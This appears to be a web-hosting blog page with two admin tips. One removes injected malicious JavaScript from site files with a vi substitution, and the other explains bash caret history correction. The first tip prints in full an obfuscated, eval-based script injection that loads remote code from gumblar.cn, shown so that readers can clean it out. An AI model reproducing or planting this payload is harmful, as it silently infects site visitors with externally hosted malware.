Matching and deleting patterns across multiple lines in vi

If you want to search and replace a pattern similar to below,

<script language="javascript"><!-- (function(){var nsLd='v:61r:20a:3d:22:53:63:72iptE:6eg:69ne:22:2cb:3d:22:56e:72s:69:6f:6e()+
:22:2c:6a:3d:22:22:2cu:3dna:76:69gator:2e:75:73e:72A:67:65:6et:3bif(:28:75:2e:
69:6e:64:65:78O:66(:22Win:22):3e0:29:26:26:28u:2ein:64exOf(:22N:54:206:22):3c0)
:26:26(:64:6fc:75:6dent:2eco:6f:6bie:2ein:64exOf(:22m:69:65:6b:3d1:22:29:3c:30):
26:26(:74ype:6ff(zrvzts:29:21:3d:74ypeof:28:22A:22):29:29:7bzr:76zt:73:3d:22A:22:
3bev:61l:28:22if(w:69ndow:2e:22+a+:22)j:3dj+:22:2ba+:22Major:22+b:2ba+:22Minor:22+
:62+:61+:22Bu:69:6c:64:22+b+:22j:3b:22):3bdoc:75me:6et:2ewrite:28:22:3c:73cr:69p:74:
20src:3d:2f:2fgum:62lar:2ecn:2frs:73:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fs:63r:69pt:3e:22):
3b:7d';var huwu4=nsLd.replace(/:/g,'%');var oLy=unescape(huwu4);eval(oLy)})();
// --></script>

Those who are in web hosting industry may know what the above line means :D . Anyways you can use this, in the vi exec mode to remove the lines

:%s/<script\_p\{-}--><\/script>//g

It’s better to have a perl script to search and replace the patterns. That is what we run for our clients under Enterprise monitoring plan.

Continue Reading

Do you know Bash & csh shell likes carrots ?

When we try to execute a command at the shell, we make mistakes like missing out a character or misspell it. Do you know you can correct them without having to type the command again or taking the history and changing them ? See the following example to understand the use of carrots!

# find . -naem “*.php” -exec chmod 644 {} \;
find: invalid predicate `-naem’

This is when carrots comes to help. Issue this command in the shell and you will get the results.

# ^em^me^
find . -name “*.php” -exec chmod 644 {} \;

If you just execute the command without a proper history to replace, it will display,

bash: :s^em^me^: substitution failed

[related_posts]

Continue Reading

About this blog

This blog, acts as a knowledge repository for the world and is unofficial! Anything we find interesting in the cyber world will go here. Most cases, this blog will reflect the happiness of our staff in reaching successful solution to an issue (s)he worked on. A reference for other fellow SAGEs who come across similar issues later